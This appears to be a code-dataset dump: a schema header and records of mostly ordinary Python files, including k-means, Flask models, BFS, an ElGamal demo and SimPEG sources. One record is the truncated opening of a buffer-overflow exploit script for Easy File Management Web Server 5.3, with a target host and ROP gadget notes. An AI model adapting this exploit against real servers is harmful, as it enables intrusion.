blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
283
content_id
stringlengths
40
40
detected_licenses
listlengths
0
91
license_type
stringclasses
2 values
repo_name
stringlengths
3
135
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
68
visit_date
timestamp[ns]date
2015-07-25 20:53:29
2023-09-06 10:46:05
revision_date
timestamp[ns]date
1970-01-01 00:00:00
2037-05-03 13:00:00
committer_date
timestamp[ns]date
1970-01-01 00:00:00
2036-02-09 17:40:36
github_id
int64
1.61k
691M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
24 values
gha_event_created_at
timestamp[ns]date
2012-06-03 10:21:33
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[ns]date
2008-03-27 23:40:48
2023-09-13 22:40:33
⌀
gha_language
stringclasses
250 values
src_encoding
stringclasses
27 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
6
10M
extension
stringclasses
289 values
filename
stringlengths
1
218
content
stringlengths
6
10M
ceb24d2de65265dd3b231e9f07c105e2916ae2a4
fc9d4a6330c771a4b4805b501dcad3fab6128e86
/python_scripts/kmeans.py
94b34af3c9bfeb960b29c23b8e53a7401cf52420
[]
no_license
ydimtirov/Personal
9f0659f2a1ac3e33bcd85300ed5239c85e8d9a84
7ee57a6696cd543b7cd28373149b924dad8100b8
refs/heads/master
2021-01-11T11:58:39.857005
2017-02-11T08:53:25
2017-02-11T08:53:25
79,540,729
0
0
null
null
null
null
UTF-8
Python
false
false
1,426
py
kmeans.py
import numpy as np import urllib # url with dataset url = "http://archive.ics.uci.edu/ml/machine-learning-databases/pima-indians-diabetes/pima-indians-diabetes.data" # download the file raw_data = urllib.urlopen(url) # load the CSV file as a numpy matrix dataset = np.loadtxt(raw_data, delimiter=",") # separate the da...
fee95287b2962bae6bdb7494c4bc377db6e577c4
9b334df610bf106cdd6ffa4fedbec40909c1e006
/mtmrot.py
4ab6a35fcd0027b30278d0a1c6b3861fc1b6df7e
[]
no_license
KPW10452025/Many_to_Many_Relationships_One_Table
2d60944acc681b5537538aa841d3352167865b66
89033fafdea1ec696dde11ab6c771eb937ceba5a
refs/heads/master
2023-08-20T05:30:59.963703
2021-09-30T03:14:11
2021-09-30T03:14:11
411,906,899
0
0
null
null
null
null
UTF-8
Python
false
false
3,286
py
mtmrot.py
from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///mtmrot.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) # 關聯表,左側的 user 正在關注右側的 user association_table_follow = db.Table("association_table_follow", ...
b9e4209710a735dbb679c0a70b6b36fef54b466e
cf24ade25d2222871c4094c98ffd19dc6a0fe4f2
/DSA/Graphs-BFS.py
c4e9279b8b072045e4d5d85579a01c033a9ac0f9
[]
no_license
itsmesoumik23/My-DSA-codes
d628909bae2779b705f80d2107c4b1e4997e8983
0b121ad14632bcd89f779ae29277ea690f20604d
refs/heads/main
2023-06-15T03:58:51.764697
2021-07-07T13:14:05
2021-07-07T13:14:05
380,259,844
1
0
null
null
null
null
UTF-8
Python
false
false
434
py
Graphs-BFS.py
# we will traverse through adjacency list def traverseBFS(graph): queue = [0] values = [] seen = {} while len(queue): vertex = queue.pop(0) values.append(vertex) seen[vertex] = True connections = graph[vertex] for i in range(len(connections)): ...
292497af1838c8c5c761643e9a05b771bfe4d4af
649bd422025e421d86025743eac324c9b882a2e8
/exam/1_three-dimensional_atomic_system/dump/phasetrans/temp90_2500.py
123d7ea6d0912816dcc89b46ef2be573908da50d
[]
no_license
scheuclu/atom_class
36ddee1f6a5995872e858add151c5942c109847c
0c9a8c63d9b38898c1869fe8983126cef17662cd
refs/heads/master
2021-01-21T10:52:28.448221
2017-03-07T23:04:41
2017-03-07T23:04:41
83,489,471
0
0
null
null
null
null
UTF-8
Python
false
false
68,874
py
temp90_2500.py
ITEM: TIMESTEP 2500 ITEM: NUMBER OF ATOMS 2048 ITEM: BOX BOUNDS pp pp pp 3.2845243225622767e-01 4.6871547567737167e+01 3.2845243225622767e-01 4.6871547567737167e+01 3.2845243225622767e-01 4.6871547567737167e+01 ITEM: ATOMS id type xs ys zs 8 1 0.129759 0.0638676 0.063568 35 1 0.0719766 0.124962 0.0669987 130 1 0.068234...
765e8508a91bf87bdfba292e97c009f1dfcef684
4bb27835299ead37146792d7115ad7b7e54bb4f6
/stargazing/utils/print_funcs.py
a4d96911d6968e1b1f2674b216b6d2457b16d2af
[ "MIT" ]
permissive
mtu2/stargazing
b6b0e7c5bb3e1ca25697d4de0dd84dea4ec06cc3
8c32728d64e8a7273299ab9d88e814d7a7bb47f2
refs/heads/master
2023-07-05T05:28:48.933210
2021-08-26T08:46:09
2021-08-26T08:46:09
389,838,983
0
0
null
null
null
null
UTF-8
Python
false
false
1,663
py
print_funcs.py
from typing import List from blessed import Terminal import math def print_xy(term: Terminal, x: int, y: int, value: str, flush=True, max_width: int = None, center=False, trim=False): """trim and center both require max_width to be given""" if max_width is not None: empty_len = max(max_wi...
4af9680477325d7cd818ea73b64208c152b41d1c
c284b57e41274a6be6238762b746db2c70e823ce
/cit_CyberSecurity/assessments/assessment_1/task_4.py
23cc604eca3828c09730c3c862fbdaa2bc9f95f9
[]
no_license
naveen673/pythonprogramming
31c29d8a366b7db88c030af518d2f7a6f814b8bd
6403a1315814cfd3d749860e6ba3835e93bc5935
refs/heads/main
2023-09-03T12:50:25.233725
2021-10-19T12:10:37
2021-10-19T12:10:37
368,468,705
0
0
null
null
null
null
UTF-8
Python
false
false
955
py
task_4.py
''' Write a python script that will ask a user two questions- what year he was born and if he already had his birthday this year. The answer to the first question will be a year (e.g., 1992, and the answer to the second question will be either “yes” or “no”. Then, based on these answers, print the user’s correct age on...
f9594a8ffe1c46779c98949d6739f32f25c1556e
384ebfc75fd6c163d0c8147a6e0f70dcccd4fad8
/json2dict.py
36c3c6e4d64bf2721dd52abaaa7e26079b3be782
[ "Apache-2.0" ]
permissive
hutepa/json2hcl
5c6f0c22968f247f8404a5c764bf0a5df9b5933a
b71e477cab15ebb7bf6bf28eecbf6650d559cf6d
refs/heads/main
2023-09-01T11:39:44.896429
2021-04-13T04:30:04
2021-04-13T04:30:04
410,087,909
0
0
null
null
null
null
UTF-8
Python
false
false
295
py
json2dict.py
#!/usr/bin/env python from argparse import ArgumentParser import json parser = ArgumentParser() parser.add_argument('filename', type=str, metavar="FILE") args = parser.parse_args() filename = args.filename with open(filename, 'r') as fname: data = json.load(fname) print(data)
f2de4cd9ad8de822582c9873648ccbdb5e6ca9be
caa17088304739a8510f83fc3b56081d327914d3
/SimPEG/EM/TDEM/SrcTDEM.py
707d044aff898395a8fa314ec7d2705f09581078
[ "MIT" ]
permissive
jlartey-aims/Resistivity
3d57cb222d0b78806d97510341516bdedc9967aa
9392c110601a8fddeceb88ff1339091d560add41
refs/heads/master
2020-04-05T21:38:13.005879
2018-10-28T15:29:38
2018-10-28T15:29:38
157,227,568
4
0
null
null
null
null
UTF-8
Python
false
false
19,368
py
SrcTDEM.py
from __future__ import division, print_function import numpy as np from scipy.constants import mu_0 import properties import warnings from geoana.em.static import MagneticDipoleWholeSpace, CircularLoopWholeSpace from SimPEG import Utils from SimPEG.Utils import Zero, Identity from SimPEG.EM.Utils import * from ..Bas...
faa1b32bea9058241e38baaa3d6c5661899f3634
15f7bba48d64d0eeaf7d941853d57cfa293ccc26
/exploit/EasyFileManager/exploit-calc-p2p.py
c342cde9ef7d092d8d74348c2f2570e96ddb1a6d
[]
no_license
takabaya-shi/CTP-Course-memo
be489fe41f158f71c3ed162850d3c5a2a492f1de
6a44e0e9b65591ff8d71d296eebfcd1db9dded0a
refs/heads/master
2022-12-12T04:14:02.365388
2020-08-28T07:33:06
2020-08-28T07:33:06
266,711,910
14
1
null
null
null
null
UTF-8
Python
false
false
2,683
py
exploit-calc-p2p.py
# Exploit Title: Easy File Management Web Server 5.3 - Remote Stack Buffer Overflow # Tested on: Windows XP SP3 32bit # Reference: https://www.exploit-db.com/exploits/33453 import sys import socket host = "192.168.56.38" port = 80 #0x7756a634 : ptr to 0x7cfd850f (-> ptr to "jmp esi") ** | {PAGE_EXECUTE_READ} [ole32...
83f3fe73bd04d0d10e1259a629fb8a4913dc6bd3
798bc16d2af058d4795118756b4bb3539c7d0290
/functions/z_viz_functions.py
f8f2d1e7e886375dc4d9058b8222df74272c3409
[]
no_license
CityOfLosAngeles/other_i_team_work
95d17bf14bc5f7312f7184736f23f335b47e53b2
baf962ee1c001fe9d7cf93d82dab5fcb5d7cf5df
refs/heads/master
2021-01-02T09:07:17.585697
2018-11-01T00:59:13
2018-11-01T00:59:13
99,145,263
0
0
null
null
null
null
UTF-8
Python
false
false
14,068
py
z_viz_functions.py
from __future__ import division import pandas as pd import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import matplotlib.dates as mdates from matplotlib.colors import LinearSegmentedColormap from matplotlib.lines import Line2D from matplotlib.font_manager import FontManager import matplotlib.pa...
68ea3dd7b0a98994d2178effdc02498fd474e167
91861531138263bf9c2b787bdab9796919199b69
/my_env/lib/python3.7/operator.py
254a56a8ea2875fde40f2d7ca045b66ef52db2ed
[]
no_license
DoroninDobro/Forecast_Telebot_Love_v3
aa0bc7ffa3bd95496894309533d24a94f38afcf1
909af6e3872ea420881588516cd0a9577afcf0da
refs/heads/master
2022-08-22T18:22:02.860791
2020-05-25T15:10:47
2020-05-25T15:10:47
265,352,096
1
0
null
null
null
null
UTF-8
Python
false
false
54
py
operator.py
/home/doronindobro/anaconda3/lib/python3.7/operator.py
06e947066b5f7f836fc65e8a16acd2e3cc3ccca5
61c4cdc70333e820800115eea7052e00fee6b85e
/project/utils/dates.py
8703e1ddc1db71d91d27ea4c4fdf39b668c57b0f
[]
no_license
agimenezpy/SIECEpy
b28ea0cd15c02ee9622963144629477e05035b47
92c94a0cc58b0d7fa4d709ca0187e6020e0cba8b
refs/heads/master
2021-01-22T11:29:31.846506
2018-09-26T19:18:12
2018-09-26T19:18:12
92,704,611
0
0
null
null
null
null
UTF-8
Python
false
false
1,141
py
dates.py
import locale import calendar from datetime import datetime, date from werkzeug.contrib import cache import logging LOG = logging.getLogger(__name__) locale.setlocale(locale.LC_ALL, 'es_PY.UTF-8') results = cache.SimpleCache() def get_trimester(cur_date=None): if cur_date is None: now = datetime.now() ...
ad292403fa4116b1678198184dc4317f864c23e8
cca19cc030f0c68d66885adc1ec3d4fb1a77b13e
/model/svc_dump_invest.py
812c6e9f9159adb530eb9fd0dcb88976f944e407
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
JavonDavis/jps-handoff
5962c0465588d3953eda5dab726d1f7cf9a69fd7
653956db0a2d3bdcb8b22252f80846bc8ce3764c
refs/heads/master
2021-01-20T21:41:09.680970
2015-05-21T18:58:29
2015-05-21T18:58:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,150
py
svc_dump_invest.py
#!/usr/bin/env python import mechanize import cookielib import urllib import os,time,datetime,csv,sys from dateutil.relativedelta import relativedelta from bs4 import BeautifulSoup local_svc_mountpoint = 'z:\\' svc_subdir = 'impactlab' local_pathsep = '\\' # Construct some loop variables meter_list = [] start_dates =...
672ead33ab7524081d75d43a3bf93e3bb2781d06
c0622674dacbfbd8cd198371c99a65c17d085455
/flybird/tests/arithmetic_test.py
a7df15be54d3661a37f62c08c0e88801e69f4f24
[]
no_license
yingfeihong/operation
33eaf24bdf18a950b14068a3f8e721b6e0e8cf8e
dd63bd3f7e8d843d84e352285130377e725c143e
refs/heads/master
2022-12-07T14:14:10.272045
2020-08-24T15:28:16
2020-08-24T15:28:16
286,507,274
1
1
null
null
null
null
UTF-8
Python
false
false
557
py
arithmetic_test.py
# -*- coding:utf-8 -*- """ Module Description: Date: Author: Yfh """ import random def do_list_date(arr_a, arr_b): """ one :param arr_a: :param arr_b: :return: result """ result = [] for array in arr_a: if array not in arr_b: result.append(array...
bd71dc6a110c3687dae2289800374a54feb6307f
4c34f64db255b6c0ffcc338425343d8c4a5c2fbb
/ex36.py
29d7e2e01684d8e9f566a04e9a45db13c5d252c1
[]
no_license
rodolfojbrandao/gitrepository
46dc62cc64ac0936ac27ec4720fa432fb1724b47
178eaab1847ae2f45f0e78d19082d2ae7e032e7b
refs/heads/master
2020-03-27T01:42:42.618926
2018-08-30T19:18:42
2018-08-30T19:18:42
145,736,214
0
0
null
null
null
null
UTF-8
Python
false
false
375
py
ex36.py
casa = float(input('digite o valor da casa: ')) salario = float(input('digite seu salario: ')) vezes = float(input('digite quantidade de vezes em anos: ')) v1 = casa/(vezes*12) v2 = salario*0.3 if v1>=v2: print('financiamento recusado, seu salario deveria ser de {:.2f}'.format(v1/0.3)) else: print('financiamen...
040f0affc95687631c5a0285627d5ce793ca1a82
5d526ebba7f321dbaee59f759c2d7dfd6147ab98
/staff/views.py
08bd1560917327029e4592a1d836ad7496296d9f
[]
no_license
oleggys/recruiting_service
ea60d3ee9bbf71e5119c3182a94916645ba4bebc
47db428f546ba1c14a9fe2ad7e8e92b766791561
refs/heads/master
2021-09-24T14:56:26.650504
2020-01-12T19:31:40
2020-01-12T19:31:40
232,977,155
0
0
null
2021-09-22T18:21:47
2020-01-10T06:03:26
Python
UTF-8
Python
false
false
1,506
py
views.py
from django.shortcuts import render, redirect # Create your views here. from .forms import RecruiterForm, SithForm from .models import Clan def index(request): return render(request, template_name='index.html') def sith_auth(request): args = {} if request.method == 'POST': form = SithForm(reque...
3cb7bc0f9e372de808992b7b5651b7bce886d0ec
6c39a433a013423206f539398461b3565de373d3
/ElGamal_HE.py
e93d12b2c86cbec112ee5818acefe25e600b0783
[]
no_license
Jiebuaa/homomorphic_encryption
caabbb45a48a1455bfe24327d5bf7a42305a7a03
fa12c243ace22463cfbae5f078a76b0e9eccf5a2
refs/heads/main
2023-06-29T15:16:44.027027
2021-07-30T09:19:03
2021-07-30T09:19:03
384,744,983
0
2
null
2021-07-13T14:47:26
2021-07-10T16:40:13
Python
UTF-8
Python
false
false
2,566
py
ElGamal_HE.py
import random # To find greatest common divisor of two numbers def gcd(a, b): if a < b: return gcd(b, a) elif a % b == 0: return b else: return gcd(b, a % b) # For key generation i.e. large random number def gen_prime(q): key = random.randint(pow(10, 20), q) while gcd(q, ...
5a202661116c1f1853cfb2a1fd275ec186fc1475
8918ec06d11d8d5b0f5bfebfead24933cf2f6bfb
/alert.py
d341e44a2f9f201726ba5519fa9e59f23920230d
[]
no_license
vasantvohra/Facial_Recognition-HAAR-LBP
b9a16a4cb42c50b05d28d429012007dbb4c29a09
c1198a750cc38bb22ee62ed3a323832bf4004b0d
refs/heads/master
2021-07-11T19:41:36.649515
2020-06-10T17:55:39
2020-06-10T17:55:39
138,128,580
1
0
null
null
null
null
UTF-8
Python
false
false
168
py
alert.py
from pygame import mixer import time def alert(): mixer.init() alert = mixer.Sound('beep-07.wav') alert.play() time.sleep(0.1) alert.play() alert()
894602ceda83aa3b7a0aa289f54a6eea06d5cd8b
ad50b363f692c8948d88ebd9282fb9b1b8a2b918
/WordBreak.py
bf20356de6655a50cae34da0fb764b518fec67e9
[]
no_license
krupalshah6996/Competitive_Coding_Problems
b57f998669fd4ebb457facfc118489a03c205dab
ad998a1f61e0f9719e2361e934a5d6fc482dc0da
refs/heads/master
2022-09-06T21:22:39.620521
2020-05-29T02:27:38
2020-05-29T02:27:38
263,422,257
0
0
null
null
null
null
UTF-8
Python
false
false
304
py
WordBreak.py
class Solution: def wordBreak(self, s: str, wordDict: List[str]) -> bool: answer = [True] wordDict = set(wordDict) for i in range(1, len(s)+1): answer.append(any(answer[j] and s[j:i] in wordDict for j in range(i))) # print(answer) return answer[-1]
f8350e9f261f0684b0a28ca0b8459639c48225e1
292f5a94ec7ed2202c716945bc5495f25319240e
/mgf.py
f733fcaa059b27356bd19026a574824deba97769
[]
no_license
jephson/bioscripts
11234ffa4269b3cdf571a5ee72e7ad9fa5428891
35392a111856cc7fbd00078e46f04ea84a619bd9
refs/heads/master
2021-01-17T17:06:22.802176
2017-09-24T16:01:58
2017-09-24T16:01:58
33,070,305
0
1
null
null
null
null
UTF-8
Python
false
false
2,001
py
mgf.py
class MS2spectrum: def __init__(self, metadata, fragments): self.metadata = metadata self.fragments = fragments def write(self, f): f.write('BEGIN IONS\n') for key in self.metadata: f.write('{0}={1}\n'.format(key, self.metadata[key])) for fragment in self.fra...
a79c170a55cdbc9386776478bd21a2cd26fc6146
c0418822b08ea01f197ee12cdaf0858fb211087c
/combinations_with_replacement.py
884e3d54fd29fbfb57a361ae602bf9e73646d6e9
[]
no_license
vigneshjeyaraman/itertools
0e1ad00e7f1b4bc40eb21fdffcb695daefaebd16
42b9f709bc98d448de776ff36474f4c3450bda5d
refs/heads/master
2022-12-06T03:13:08.390406
2020-08-23T10:12:36
2020-08-23T10:12:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
613
py
combinations_with_replacement.py
import itertools as it lst = [1,2,3,4,5,6] # combinations take a lst and a pair as input itr = it.combinations_with_replacement(lst,2) # above line of code will generate an iterator object which will have # pair of elements # you can access pair either by next(itr) or you have to run a loop over it for i in itr: ...
feb0c9d5b820ad2cb5b759886f6b6455d0152dba
1edec1dc408848f0575aea59f6b68be878f399b5
/reduction_by_change/train.py
dc2a2955cb861e5efb8d96479cfec1de259bfcbc
[]
no_license
heatherbaier/geozoom-net
464ac490944f7495392f252159e240ea9b202ad3
8f5d936805211ba2a1f0fd5e7b27a48078ce2991
refs/heads/master
2023-06-05T16:26:34.543925
2021-06-21T17:00:57
2021-06-21T17:00:57
377,565,351
0
0
null
null
null
null
UTF-8
Python
false
false
1,551
py
train.py
import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"] = "3" from torchvision.utils import make_grid, save_image import torchvision.models as models import torch.nn.functional as F import matplotlib.pyplot as plt from copy import deepcopy import numpy as np import random import t...
fe2aa2d0aa8e922d90376859e75239b005781d83
83493243099ed8f5138747ab67a839951c5273ca
/main_interface.py
5370f4c40383bb6899412bede77bdcac74e6d82f
[]
no_license
bolatharwatmee/FaceRecognition
441a14f88dc5a11f4ae770bbd00810aa2e24af94
d2892d46043b486d48ed98fb05d4625a67dc7c5b
refs/heads/master
2020-03-19T13:06:28.231832
2018-06-09T03:04:50
2018-06-09T03:04:50
136,561,236
0
0
null
null
null
null
UTF-8
Python
false
false
17,868
py
main_interface.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'main_interface.ui' # # Created by: PyQt5 UI code generator 5.10.1 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): M...
2b49ae4a3e4d79549e23caa915c726c3a7835f1c
936f97930da671c7fe60db4c247b69947af4d8b6
/apic_ml2/neutron/services/l3_router/apic_driver_api.py
82fd15146c6dd5a8b2201ed9dffea39667c910d9
[ "Apache-2.0" ]
permissive
AraragiRyou/apic-ml2-driver
036780c6da812934a0434e4848f79ec4e2bec9c7
9093d766d2e17ceccf948bc51e2963d655ce4f37
refs/heads/master
2020-05-07T13:05:01.907475
2019-02-28T22:26:12
2019-02-28T22:26:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,853
py
apic_driver_api.py
# Copyright (c) 2016 Cisco Systems Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless re...
1aa49a543fa7d6888b05691081d4885e80494c04
97e6ff50125eade8d8849de396ec32398de4aee4
/reactor_relay/profiles/email_send_office365_email.py
f1deaea00c463f5a30b99f5a3f1ed7ef887b84a9
[ "MIT" ]
permissive
AdamTheAnalyst/openc2-reactor-relay
24eaa27db841ea14e0a3d7ebbbac9526684be8d4
53527af874afbbd056bc3a7dfb341b040c26780c
refs/heads/master
2021-08-31T13:55:44.217418
2017-12-21T15:42:59
2017-12-21T15:42:59
115,021,399
0
0
null
2017-12-21T15:41:44
2017-12-21T15:41:44
null
UTF-8
Python
false
false
2,319
py
email_send_office365_email.py
##################################################### #__________ __ # #\______ \ ____ _____ _____/ |_ ___________ # # | _// __ \\__ \ _/ ___\ __\/ _ \_ __ \ # # | | \ ___/ / __ \\ \___| | ( <_> ) | \/ # # |____|_ /\___ >____ /\___ >__| \____/|__| ...
52c869425ccce7e47a12ed31125b3e0ab25628a9
0cb7939b12279f1f4a71fc1c786f984205cce34d
/client/intelligent_collab/services/video_proxy/src/video_proxy/api.py
21e7a71b7bc38ab597d683c41f83aaee9747d070
[ "Apache-2.0", "BSD-3-Clause" ]
permissive
intel/stacks-usecase
0fc828c6a6068312a3ce2c2e7bb0b2ee0383c475
466e62b22d37033d6f798171af1c95cd6ff2303e
refs/heads/master
2023-09-02T03:36:18.359766
2022-12-17T00:26:14
2022-12-17T00:26:14
206,673,103
15
21
Apache-2.0
2022-08-25T05:06:39
2019-09-05T23:20:19
Python
UTF-8
Python
false
false
1,996
py
api.py
import signal from fastapi import Query import uvicorn from pydantic import BaseModel from typing import Optional import video_service import video_settings import config from logger import logger from config import app class VideoSource(BaseModel): source: str pix_fmt: Optional[str] = None res: Option...
b06f4cfd97ff183fb61b6a3ed5c61976caed3bc2
cf5ef13c979555dd1149bb2380c391acbf89b938
/munsell.py
c17b3185c8360242268314af92be0b265cab3bd4
[]
no_license
erwinkn/munsell-json
baaa40998a05b4977f8a220eb7ab57fea1c98b83
22536029a8ff70f0fc0f85ef18a737804552d82a
refs/heads/main
2023-05-08T11:31:29.811367
2021-05-17T12:48:22
2021-05-17T12:48:22
367,055,459
0
0
null
null
null
null
UTF-8
Python
false
false
6,275
py
munsell.py
import json from itertools import product, compress, islice, chain import csv import os import argparse parser = argparse.ArgumentParser(""" Generates a JSON file from Munsell renotation data, processed for rendering. By default, it includes only colors that can be represented in the sRGB gamut. The data contains: ...
3a85325e87b5a7fb191ac19ae161c1d6e7ed964f
ff4e53a2ac02df3d02712bc8843890f23059a3e4
/processing_basics/tokenization.py
320f491debec28c09b8b0a7844aec972a23b4477
[]
no_license
shubh802/NLP
00c0dc8acf3727af855b0457f420897c71270b63
38e9debd38f63746c0d0bf7c2eebfb6407af42b5
refs/heads/main
2023-05-07T18:30:57.867231
2021-05-30T17:13:57
2021-05-30T17:13:57
372,269,649
0
0
null
null
null
null
UTF-8
Python
false
false
2,262
py
tokenization.py
import nltk # nltk.download() from nltk.stem import PorterStemmer from nltk.stem import WordNetLemmatizer from nltk.corpus import stopwords paragraph = """If you observe some people then you will notice that human life is a series of tension and problems. Also, they have a variety of concerns relating to their l...
be7631595abc343093b80bebb7ced0a5e1e13dea
b0f1d3a452d0a8b9818cc94acf35bb1196ea4c7d
/print_function.py
caa7d5571896e8c57b2dd8c909ee61c3cffe9011
[]
no_license
pranshuboi/hackerrank
5368a58dfca7d414c2f45efd7bdd3bbbda142ea0
47bfd84e1783707b02a9091e2153e3bc23129168
refs/heads/main
2023-05-06T00:56:41.979378
2021-05-28T14:05:16
2021-05-28T14:05:16
371,571,537
0
0
null
null
null
null
UTF-8
Python
false
false
184
py
print_function.py
from __future__ import print_function if __name__ == '__main__': n=int(input()) i=1 s='' while i<=n: s=s+str(i) i=i+1 print(s)
bc493c374817f863ef263e7cfcb3e35c109dc8cc
10a575817887c78ff8dbcc7229ebc80bdaacd6ff
/code/polls/polls.py
19cd7a7e429ef7a7bda78c4798c1b3fa6d66c7fd
[ "MIT" ]
permissive
Piratelhx/PlaneNet
a347af44eb896edf9172f00b8c89334b13e4b636
88eb76d88bb678bd26b7f101f0bb273e4897e92d
refs/heads/master
2020-04-27T05:25:00.190155
2019-01-30T21:45:34
2019-01-30T21:45:34
174,080,396
1
0
MIT
2019-03-06T05:51:02
2019-03-06T05:51:02
null
UTF-8
Python
false
false
47,840
py
polls.py
#!/usr/bin/env python # Author: Shao Zhang, Phil Saltzman # Last Updated: 2015-03-13 # # This tutorial shows how to detect and respond to collisions. It uses solids # create in code and the egg files, how to set up collision masks, a traverser, # and a handler, how to detect collisions, and how to dispatch function ba...
ba2dc735897e322d88577b8bc0a804d9538f329f
6754322056cb82ab5d5c013578874a6c9dc9b2af
/ex10-2.py
8d9d5848de1377eaa41abe9db50582f7097f985b
[]
no_license
Nilipopo/Python
9fe110becbcab62743e319970ebdfba0f1e62199
d3b042316bb60ea5e508d6596a7840529f4faf6a
refs/heads/master
2020-03-24T09:41:29.431214
2018-07-28T11:59:42
2018-07-28T11:59:42
142,635,090
0
0
null
null
null
null
UTF-8
Python
false
false
643
py
ex10-2.py
# function & calculate(difference of float & Earth's circumference & Mars circumference) def float_diff(x1,x2):#compute the difference between two floats return x1-x2 # 4 retract x=float(raw_input("Input float 1: ")) y=float(raw_input("Input float 2: ")) print "%s - %s = %s\n"%(x,y,float_diff(x,y)) import numpy as...
1fb8f463d2c9f82ec664031cec960b93c173b8fa
1a0f70a4543e8dd7a5c3ca280502df5709a6c3dd
/src/reprep/repcontracts.py
6eb951c8c5e19bbcc25edf8ed09e0927c076cae2
[]
no_license
AndreaCensi/reprep
b98f1fa50a1c17439951f8bdd7dd640849f2caaa
cfbb0f423a4b6c923223c6c2b9519f9627884ae0
refs/heads/z6
2023-07-06T19:22:25.890336
2020-10-18T11:19:44
2020-10-18T11:19:44
706,616
0
3
null
2022-11-22T05:58:44
2010-06-06T22:39:41
HTML
UTF-8
Python
false
false
606
py
repcontracts.py
# -*- coding: utf-8 -*- import re from contracts import contract, new_contract from zuper_commons.types import check_isinstance from .constants import VALID_ID_REGEXP from .types import NID __all__ = ["valid_id", "sanitize_id"] @new_contract def valid_id(s): check_isinstance(s, str) if re.match(VALID_ID_R...
8c68bc49dc60d19e7c368e3206ce57031a97ce47
d209dbecd478b809df8c8819ff360d8e6822a98a
/backend-app/interesthub/recommendation/migrations/0001_initial.py
ed8ed158f7b2f130142c47d83f13840cbf81f078
[]
no_license
ahmetcj4/bounswe2017group6
d78acb33c434e7007a5cfb9921af38636ee1c696
697fb562ad5b33f76ee5a2d562d7e8e8b76a6598
refs/heads/master
2020-07-02T04:50:20.210272
2018-01-02T13:28:01
2018-01-02T13:28:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,076
py
0001_initial.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-11-18 14:12 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('content', '0011_comment_updown'), ('user', '0008_auto_20171117_1...
422304a675f7e069dabaa59c7aacac3286276b99
404bad6e3d2535feaf65a36a5ecf0a022e7ca06c
/train.py
91d56847114087e5507bfac5734d1b9738d20d60
[]
no_license
BorisChen1998/Semantic-Segmentation
1d1fb4c16fa78d93ac42b89de73849e629925fad
e390be68bcd7b1764e27d6382c719ff9f930ba6d
refs/heads/master
2022-04-20T17:57:32.080735
2020-04-19T06:56:40
2020-04-19T06:56:40
248,205,106
0
0
null
null
null
null
UTF-8
Python
false
false
11,715
py
train.py
import torch import torchvision import torchvision.transforms as transforms import torch.nn as nn import torch.optim as optim from torch.utils.data import Dataset, DataLoader from torch.optim import lr_scheduler from torch.autograd import Variable import os import datetime from tensorboardX import SummaryWriter import ...
5c8464e51d69da09736a517a3e40ed2e9e96a4a7
58ca7455374354cc7decac4ccb0af28dc2d42de2
/regression_algorithms_from_scratch/Linear_regression_2/linear_regression_for_weather_prediction.py
afd7ff4b9ff0057a683131abb0d3e6fd0b419c11
[]
no_license
Deepstatsanalysis/ML_algos_from_scratch
b97f793e69327f88e43809fb17ce3c06827c5f13
a506fd5a234b753fbd90c71d49aab7012d8d31fc
refs/heads/master
2022-07-14T21:44:32.552029
2020-05-19T03:18:51
2020-05-19T03:18:51
277,743,838
1
0
null
2020-07-07T07:10:56
2020-07-07T07:10:56
null
UTF-8
Python
false
false
5,829
py
linear_regression_for_weather_prediction.py
import numpy as np import matplotlib.pyplot as plt import pandas as pd import random class Weather: def train_test_split(self, dataframe,test_size): dataframe_size=len(dataframe) if isinstance(test_size,float):#if test size is passed as a proportion test_size=round(test_size*da...
870226079ac23c55be0ef2eac07d5fe43ea814ab
28114d10c93c4fd1aa5405e0e0ffd9d4f3800f8f
/Exercise21_Write To A File Solutions.py
7cfcce83952d395cd823cc87f6749db2ec4956ce
[]
no_license
symonsajib/PracticePython_P
aec3e9292bed2d5fc5b856403cdce43423f1682a
a9008d2a251429d80136ca2ddb6420e25f60c9e8
refs/heads/master
2020-09-11T21:25:43.806508
2019-11-24T02:22:51
2019-11-24T02:22:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
412
py
Exercise21_Write To A File Solutions.py
from bs4 import BeautifulSoup import requests page = requests.get('https://www.nytimes.com/') cont = page.content soup = BeautifulSoup(cont, "html.parser") for text in soup.find_all('p'): print(text.get_text() + '\n') n = 0 with open('hello.txt', 'w') as open_file: for text in soup.find_all('...
2a7014a3223f2a547588fcf2cabbe3dce2ad5013
0fd5793e78e39adbfe9dcd733ef5e42390b8cc9a
/python3/14_Code_Quality/04_unit_tests/d_using_nose2_module/b_Example/test_mymath.py
41802725e4969bc921b200b4677e701681eb6c1f
[]
no_license
udhayprakash/PythonMaterial
3ea282ceb4492d94d401e3bc8bad9bf6e9cfa156
e72f44e147141ebc9bf9ec126b70a5fcdbfbd076
refs/heads/develop
2023-07-08T21:07:33.154577
2023-07-03T10:53:25
2023-07-03T10:53:25
73,196,374
8
5
null
2023-05-26T09:59:17
2016-11-08T14:55:51
Jupyter Notebook
UTF-8
Python
false
false
686
py
